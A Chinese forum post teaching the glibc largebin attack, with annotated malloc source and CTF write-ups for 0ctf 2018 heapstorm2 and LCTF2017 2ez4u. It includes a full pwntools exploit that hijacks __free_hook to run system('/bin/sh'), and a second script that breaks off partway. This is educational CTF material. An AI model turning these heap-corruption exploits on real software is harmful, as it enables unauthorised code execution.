首页
社区
课程
招聘
[原创]Largebin attack总结
2020-10-3 11:06 14165

[原创]Largebin attack总结

2020-10-3 11:06
14165

Largebin attack总结

咕咕咕好几天的largebin attack来力

largebin管理思想概览

  • 当chunk被插入unsortedbin的时候,如果我们再去申请,此时从unsortedbin末尾开始遍历,倘若遍历到的不符合我们的要求大小,那么系统会做sorted——重新把这个chunk放入smallbin或者largebin
1
2
3
4
5
6
7
#define in_smallbin_range(sz) 
  ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
 
#define NSMALLBINS         64
#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
  • 64位系统中大于0x400的为largebin范围,32位大于0x200(不带tcache)
  • fd_nextsize指向比他小的最大的chunk,bk_nextsize指向比他大的最小的chunk(不同索引的largebin),并且是首位循环连接。
  • largebin中不只有一条链,有、复杂
  • largebin中size与index的对应如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
size    index
[0x400 , 0x440)    64
[0x440 , 0x480)    65
[0x480 , 0x4C0)    66
[0x4C0 , 0x500)    67
[0x500 , 0x540)    68
等差 0x40   
[0xC00 , 0xC40)    96
[0xC40 , 0xE00)    97
[0xE00 , 0x1000)    98
[0x1000 , 0x1200)    99
[0x1200 , 0x1400)    100
[0x1400 , 0x1600)    101
等差 0x200   
[0x2800 , 0x2A00)    111
[0x2A00 , 0x3000)    112
[0x3000 , 0x4000)    113
[0x4000 , 0x5000)    114
等差 0x1000   
[0x9000 , 0xA000)    119
[0xA000 , 0x10000)    120
[0x10000 , 0x18000)    121
[0x18000 , 0x20000)    122
[0x20000 , 0x28000)    123
[0x28000 , 0x40000)    124
[0x40000 , 0x80000)    125
[0x80000 , …. )    126

largebin管理的是一个范围区间的堆块,此时fd_nextsizebk_nextsize就派上了用场。

 

大小对应相同index中的堆块,其在链表中的排序方式为:

  • 堆块从大到小排序。
  • 对于相同大小的堆块,最先释放的堆块会成为堆头,其fd_nextsizebk_nextsize会被赋值,其余的堆块释放后都会插入到该堆头结点的下一个结点,通过fdbk链接,形成了先释放的在链表后面的排序方式,且其fd_nextsizebk_nextsize都为0。
  • 不同大小的堆块通过堆头串联,即堆头中fd_nextsize指向比它小的堆块的堆头,bk_nextsize指向比它大的堆块的堆头,从而形成了第一点中的从大到小排序堆块的方式。同时最大的堆块的堆头的bk_nextsize指向最小的堆块的堆头,最小堆块的堆头的fd_nextsize指向最大堆块的堆头,以此形成循环双链表。

源码分析

宏define __builtin_expect

1
# define __builtin_expect(expr, val) (expr)

貌似就是取expr表达式的值。

宏bin_at

1
2
3
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))               \
             - offsetof (struct malloc_chunk, fd))

宏 bin_at(m, i) 通过 bin index 获得 bin 的链表头,m 指的是分配区,i 是索引

宏mark_bin

1
#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))

mark_bin 设置第 i 个 bin 在 binmap 中对应的 bit 位为 1

bitmap

1
2
3
4
5
#define NBINS             128
#define BINMAPSHIFT      5
#define BITSPERMAP       (1U << BINMAPSHIFT) // 32
#define BINMAPSIZE       (NBINS / BITSPERMAP)// 128 / 32 = 4
unsigned int binmap[BINMAPSIZE];             // 32b * 4 = 128b

一共有 128 个 bin,0 和 127 不算,也就是有 126 个 bin,其中第一个 bin 是 unsorted_bin

 

binmap 字段是一个 int 数组,ptmalloc 用一个 bit 来标识该 bit 对应的 bin 中是否包含空闲 chunk

largebin的插入相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/* place chunk in bin */
 
         if (in_smallbin_range (size))        //如果是smallbin的大小就放到smallbin
           {
             victim_index = smallbin_index (size);
             bck = bin_at (av, victim_index);
             fwd = bck->fd;
           }
         else                                                    //如果是largebin的大小,那么:
           {
             victim_index = largebin_index (size);//根据size获取对应的largebin索引
             bck = bin_at (av, victim_index);         //获取largebin表头
             fwd = bck->fd;                                             //获取对应索引largebin的第一个chunk(循环链表的head->next
 
             /* maintain large bins in sorted order */
             if (fwd != bck)                                            //当第一个不等于最后一个(即当前的largebin不空)
               {
                 /* Or with inuse bit to speed comparisons */
                 size |= PREV_INUSE;
                 /* if smaller than smallest, bypass loop below */
                 assert (chunk_main_arena (bck->bk));    //是否在main_arena?(主线程)
                 if ((unsigned long) (size)
             < (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
                   {
                     fwd = bck;                                    //fwd此时为largebin表头
                     bck = bck->bk;                            //bck设置为largebin中最后一个的chunk
 
                     victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
                     victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个
 
                     //原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
                     fwd->fd->bk_nextsize =
                     victim->bk_nextsize->fd_nextsize = victim;
                   }
 
                 // 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
                 else
                   {
                     assert (chunk_main_arena (fwd));
                     //使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while
                     while ((unsigned long) size < chunksize_nomask (fwd))
                       {
                         fwd = fwd->fd_nextsize;            //取下一个
                                                 assert (chunk_main_arena (fwd));//检查分配区
                       }
 
                     //如果找到了跟他想等的
                     if ((unsigned long) size
                                             == (unsigned long) chunksize_nomask (fwd))
                       /* Always insert in the second position.  */
                       fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。
 
                     //如果大小不一样(即此时fwd是相邻的大于victim的chunk)
                     //需要构造nextsize双向链表,构造新节点,victim作为堆头
                     else
                       {
                         //比victim小的指向fwd
                         //比victim大的指向fwd的bk_nextsize(比fwd大的那个)
                         //相当于插入了fwd与fwd->bk_nextsize之间
                         victim->fd_nextsize = fwd;
                         victim->bk_nextsize = fwd->bk_nextsize;
 
                         if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性
                           malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                         //对应的去改fwd的相关指针成链
                         fwd->bk_nextsize = victim;
                         victim->bk_nextsize->fd_nextsize = victim;
                         //插入完成
                       }
 
                     bck = fwd->bk;
                     if (bck->fd != fwd)
                       malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                   }
               }
             else
               victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表
           }
                   //放到对应的 bin 中,构成 bk<-->victim<-->fwd。
         mark_bin (av, victim_index);    //标识bitmap
         victim->bk = bck;
         victim->fd = fwd;
         fwd->bk = victim;
         bck->fd = victim;

贴一下插入过程大佬的总结:

  1. 找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd
  2. 如果fwd等于bck,表明当前链表为空,则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsizefd_nextsize赋值为它本身。
  3. 如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。
  4. 如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。
  5. 如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。
  6. 如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsizebk_nextsize

largebin的取出相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */
      if (!in_smallbin_range (nb))//如果不在samllbin大小中
        {
          bin = bin_at (av, idx); //找到申请的size对应的largebin链表
 
          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin &&                    //此时victim为链表的第一个节点
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
                //进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
              victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
                victim = victim->bk_nextsize;//victim取相邻的更大size的chunk
 
              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
                victim = victim->fd;            //出现相同大小时堆头作为次优先申请
 
              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
 
              /* Exhaust */
              if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。
 
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);//bck是ub头
                  fwd = bck->fd;                         //fwd是ub第一个chunk
      if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                //以上操作完成后lastremainder被插入ub,成为新的链首元素
                //如果不在smallbin范围,那么nextsize指针置空
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
 
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

贴一下申请过程大佬的总结:

  1. 找到当前要申请的空间对应的largebin链表,判断第一个结点即最大结点的大小是否大于要申请的空间,如果小于则说明largebin中没有合适的堆块,需采用其他分配方式。
  2. 如果当前largebin中存在合适的堆块,则从最小堆块开始,通过bk_nextsize反向遍历链表,找到大于等于当前申请空间的结点。
  3. 为减少操作,判断找到的相应结点(堆头)的下个结点是否是相同大小的堆块,如果是的话,将目标设置为该堆头的第二个结点,以此减少将fd_nextsizebk_nextsize赋值的操作。
  4. 调用unlink将目标largebin chunk从双链表中取下。
  5. 判断剩余空间是否小于MINSIZE,如果小于直接返回给用户。
  6. 否则将剩余的空间构成新的chunk放入到unsorted bin中。

伪造Largebin的bk_nextsize(取出时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
              victim = victim->bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
                victim = victim->bk_nextsize;  //漏洞点,伪造bk_nextsize
 
              if (victim != last (bin) && victim->size == victim->fd->size) //申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
                victim = victim->fd;
 
              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //largebin unlink 操作
 
            ...
            return p;

当利用bk_nextsize反向遍历双链表时,如果我们可以伪造堆头节点的bk_nextsize,让其指向一个evil内存地址,然后我们 在evil_addr上构造了相应的数据以通过unlink,会将该空间返回申请到非预期的内存

 

绕过unlink最简单 的就是fd与bk按照smallbin的unlink方式设置,然后两个nextsize指针都为null

 

下面贴上大佬的解释:

 

问题出现在通过bk_nextsize反向遍历双链表的过程,如果能够伪造某个堆头结点中的bk_nextsize,将其指向非预期的内存地址,构造好数据使得非预期内存地址在通过unlink的检查之后,会将该空间返回给用户,最终使得可以申请出非预期的内存。最常见的就是用它来构造overlap chunk。

 

至于绕过unlink的检查,我认为最好的方式就是伪造的内存空间将fdbk按照smallbinunlink的利用方式设置,而将bk_nextsizefd_nextsize设置成0,这样就不会对这两个字段进行操作了。

 

典型的应用场景为:存在四个堆ABCD,largebin中存在链表A->B,其中A为0x420,B为0x400,C为0x410,C未释放。将B的bk_nextsize伪造指向C,同时将C的fdbk构造好,将C的fd_nextsizebk_nextsize赋值为0,当再次申请0x410大小的内存E时,遍历B->bk_nextsize会指向C,且C的大小满足需求,因此会调用unlink将C从双链表取下,因此申请出来的堆块E的地址会为C的地址,即E和C为同一内存块,实现overlap chunk的构造。

伪造largebin的bk_nextsize以及bk(插入largebin时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...//将largebin从unsorted bin中取下
       unsorted_chunks (av)->bk = bck;
       bck->fd = unsorted_chunks (av);
 
       ...
 
 
                       //如果大小不一样(即此时fwd是相邻的大于victim的chunk)
                       //需要构造nextsize双向链表,构造新节点,victim作为堆头
                      //否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
                       //比victim小的指向fwd(fd_nextsize)
                       //比victim大的指向fwd的bk_nextsize(比fwd大的那个)
                       //相当于插入了fwd与fwd->bk_nextsize之间
                       victim->fd_nextsize = fwd;
                       victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
                       fwd->bk_nextsize = victim;
                       victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力
                     }
                   bck = fwd->bk; //由于fwd->bk可控,因此bck可控
              ...
 
       mark_bin (av, victim_index);
       //设置fd与bk完成插入
       victim->bk = bck;
       victim->fd = fwd;
       fwd->bk = victim;
       bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力
       ...
     }

例题1:0ctf_2018_heapstorm2(插入时攻击)

本题是典型的house of storm,可以做一个任意写+一个任意申请,威力还是相当给力的。

题目概览

1
2
if ( !mallopt(1, 0) )
  exit(-1);

mallopt(M_MXFAST,0)global_max_fast设置为0,这个值的意思是最大为多大的chunk归fastbin管理,设置为0表示这个程序中不再存在fastbin。即本程序禁用了fastbin。

 

 

在edit函数中有一个off-by-null

 

 

剩下的就是一个常用的uaf。

攻击过程

首先我们造两个overlap到unsortedbin里。(overlap的过程我就先不说了,可以做前向合并可以做后向合并)

1
unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)

然后我们add(0x4e8),从unsortedbin的尾部向前遍历,将size为0x4e0的放入largebin,返回size为0x4f0的:

1
2
   unsortbin: 0x0
largebin[ 3]: 0x1002035c0 (size : 0x4e0)

然后再把0x4e8的放进unsortedbin

1
2
   unsortbin: 0x100203060 (size : 0x4f0)
largebin[ 3]: 0x1002035c0 (size : 0x4e0)

此时largebin中的chunk是大于unsortedbin中的chunk的,那么fwd此时就应该指向0x1002035c0这一个chunk,victim是unsortedbin中的chunk。

 

我们再进行如下操作:

1
2
3
4
5
6
7
8
9
storge = 0x13370800
fake_chunk = storge-0x20
p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,p1)                  # 劫持unsortfbin中chunk的bk指针指向fakechunk
 
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2 += p64(0)+p64(fake_chunk+8)          # 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2 +=  p64(0)+p64(fake_chunk-0x18-5)    # 劫持在largebin中chunk的bk_nextsize指针
edit(8,p2)

 

此时unsortedbin中的chunk的bk指针被劫持指向我们的fakechunk,如果我们再add(0x48)时,程序首先在fastbin和smallbin中找空闲的chunk,但是没有,于是去unsortedbin中找,第一次找到大小为0x4f0的,这个大小肯定是不对的,但是检测到unsortedbin中还有一个chunk(即我们劫持bk指针后指向的fakechunk)并不会对大小为0x4f0的chunk做切割,而是直接做sorted,即插入largebin(此时触发largebin attack给fakechunk写上一个size)。然后系统顺着我们劫持的bk指针找,找到了我们的fakechunk,此时的fakechunk是有size的,然后系统去检验他的size,发现除去标志位刚好是0x50,那么就把fake chunk返回给我们。


 

 

然后add一次0x48(由于calloc的检查,此处被错位写上去的size必须要是0x56,多爆破几次)

 

除去标志位0x56就是0x50了,我们申请0x48,会返回这个fake_chunk

1
add(0x48)       # 2,largebin attack触发

 

然后我们写一个while爆破一下:

 

 

可以看到此时爆破成功,我们通过修改表中相关内容:

1
2
p3 = p64(0)*5+p64(0x13377331)+p64(storage)
edit(2,p3)

来bypass掉show时候的验证:

1
2
if ( (chunk_list[1].size ^ chunk_list[1].addr) != 0x13377331 )
  return puts("Permission denied");

此时就可以正常使用show了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./0ctf_2018_heapstorm2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Command: '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
edi=''          # edit输入提示语
def add(size,c='1'):
    sal(cho,c)
    sal(siz,str(size))
def free(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(len(content)))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
 
 
while(1):
    try:
        # get_proc_base(io)
        # get_libc_base(io)
        global io
        io = process(elf_path)
        #io = remote("node3.buuoj.cn",29327)
        add(0x18)                   # 0
        add(0x508)                  # 1
        add(0x18)                   # 2
        edit(1,'a'*0x4f0+p64(0x500))        # 设置fake_pre_size
 
        add(0x18)                   # 3
        add(0x508)                  # 4
        add(0x18)                   # 5
        edit(4,'a'*0x4f0+p64(0x500))        # 设置fake_pre_size
 
        add(0x18)                   # 6
        free(1)
        edit(0,'a'*(0x18-0xc))              # 对free后的1做off-by-null,造成chunk收缩
 
        add(0x18)                   # 1
        add(0x4d8)                  # 7     # 将0ff-by-null收缩后的freechunk分两次申请出来
 
        free(1)
        free(2)                             # 触发后向合并:0x508+0x18
 
        # 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8
        add(0x38)                   # 1
        add(0x4e8)                  # 2
 
        free(4)
        edit(3,'a'*(0x18-12))
        add(0x18)                   # 4
        add(0x4d8)                  # 8
        free(4)
        free(5)                     # 后向合并造出0x530的freechunk
        add(0x48)                   # 4
 
        free(2)                     # unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
        add(0x4e8)                  # 2
        free(2)                     # 把0x4f0的放回到unsortedbin
 
 
 
        storage = 0x13370800
        fake_chunk = storage-0x20
        p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
        edit(7,p1)                  # 劫持unsortfbin中chunk的bk指针指向fakechunk
 
        p2 = p64(0)*4+p64(0)+p64(0x4e1)
        p2 += p64(0)+p64(fake_chunk+8)          # 劫持在largebin中chunk的bk指针避免unlink时崩溃
        p2 +=  p64(0)+p64(fake_chunk-0x18-4)    # 劫持在largebin中chunk的bk_nextsize指针
        edit(8,p2)
 
 
        add(0x48)       # 2,largebin attack触发,返回我们伪造位置的节点
 
 
        p3 = p64(0)*5+p64(0x13377331)+p64(storage)#构造show函数的条件
        edit(2,p3)
 
        pause()
        p4 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(storage-0x20+3)+p64(8)
        edit(0,p4)      # 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
 
        show(1)         # 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址
        r(11)
        heap = u64(r(5).ljust(8,'\x00'))
        info("heap:"+hex(heap))
 
 
 
        p5 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(heap+0x10)+p64(8)    #泄露main_arena
        edit(0,p5)
 
        #shell()
        show(1)
 
        libc_base =  int(u64(ru('\x7f')[-6:].ljust(8,'\x00')))-88-libc.sym['__malloc_hook']-0x10
 
        print hex(libc_base)
 
        system = libc_base+libc.sym['system']
        free_hook = libc_base+libc.sym['__free_hook']
        print (hex(system),hex(free_hook))
        p6 =  p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(free_hook)+p64(0x1000)+p64(storage+0x50)+p64(0x100)+'/bin/sh\x00'
        edit(0,p6)
        edit(1,p64(system))
        free(2)
        shell()
        pause() 
    except Exception:
        io.close()
        continue

例题2:LCTF2017-2ez4u(取出时攻击)

题目概览

  1. uaf,并且free后连表中指针也不清空,可以edit和show
  2. show的时候从addr+0x18开始,刚好跳过了fd和bk指针,所以没法利用在unsortedbin里的show出来,而是需要拉入largebin用nextsize指针。

攻击过程

其实主要就是伪造一系列的结构,感觉这个比之前的那个要麻烦一些

 

一开始的largebin情况如下:

1
largebin[ 0]: 0xdf51549c30 (size : 0x410) <--> 0xdf515497e0 (size : 0x400)

 

以下这张图充分还原了largebin的攻击过程,达到一次任意地址申请+overlap

 


 

我们再将两个0x80的放入fastbin连接起来:

1
2
3
free(6)
free(3)
# 把两个0x80大小的放进fastbin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x8f90b03180 --> 0x8f90b03300 --> 0x0    #此时偏移为0x180的chunk有指向0x300的指针
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x8f90b044b0 (size : 0x1fb50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x080)  smallbin[ 6]: 0x8f90b03000
         largebin[ 0]: 0x8f90b03c30 (invaild memory)

当我们再进行一次add的时候:首先把fastbin中的chunk放入smallbin;然后触发largebin attack申请出我们伪造的fakechunk

1
add(0x3f0,'b'*0x30+p64(0xdeadbeefdeadbeef))# deadbeaf是用来填充size的,防止输出的时候00截断

效果如下:

1
(0x080)  smallbin[ 6]: 0xb4d2f9b300  <--> 0xb4d2f9b180 (size error (0xdeadbeefdeadbee8)) <--> 0xb4d2f9b000
1
2
3
4
0x4fe6dfe040:   0x0000040000000001      0x0000004fe6e000a0
0x4fe6dfe050:   0x0000006000000001      0x0000004fe6dff090
0x4fe6dfe060:   0x0000006000000001      0x0000004fe6dff110
0x4fe6dfe070:   0x000003f000000001      0x0000004fe6dff140        <-----可以看到已经把fakechunk申请出来了

smallbin也是头插尾取,再add一次,取出smallbin的最后一个:

1
add(0x60,'6'*0x60)
1
2
(0x080)  smallbin[ 6]: 0xda50dfb300  <--> 0xda50dfb180 (size error (0xdeadbeefdeadbee8))
         largebin[ 0]: 0xda50dfbc30 (invaild memory)

此时在smallbin中的chunk里有指向main_arena的指针,且这个chunk刚好在我们的fakechunk下面不远,直接可以show出来

 

 

之后我们手动恢复chunk结构。

 

最后使用fastbin attack劫持unsortbin中的top chunk指向free_hook-0xb58,然后改freehook为system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
from pwn import *
from ctypes import c_uint32
 
context.terminal = '/bin/zsh'
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'info'
 
 
 
io = process("./2ez4u")
 
 
def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    pass
 
def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass
 
def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)
    pass
 
def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass
 
add(0x60'0'*0x60 ) #0
add(0x60'1'*0x60 ) #1
add(0x60'2'*0x60 ) #2
add(0x60'3'*0x60 ) #3
add(0x60'4'*0x60 ) #4
add(0x60'5'*0x60 ) #5
add(0x60'6'*0x60 ) #6
 
add(0x3f0, '7'*0x3f0) #7 playground
add(0x30'8'*0x30 ) #8
add(0x3e0, '9'*0x3d0) #9 sup
add(0x30'a'*0x30 ) #0xa
add(0x3f0, 'b'*0x3e0) #0xb victim
add(0x30'c'*0x30 ) #0xc
 
dele(0x9)
dele(0xb)
dele(0x0)
 
 
add(0x400, '0'*0x400)
 
# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))
 
io.recvuntil('description:')
HEAP = u64(io.recv(5).ljust(8,'\x00'))-0x7e0
log.info("heap base 0x%016x" % HEAP)
 
target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b
 
# large bin attack
edit(0xb, p64(chunk1_addr))             # 劫持在latgebin中的victim的bk_nextsize指针指向:HEAP+0x130
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target构造unlink时的表结构
 
chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
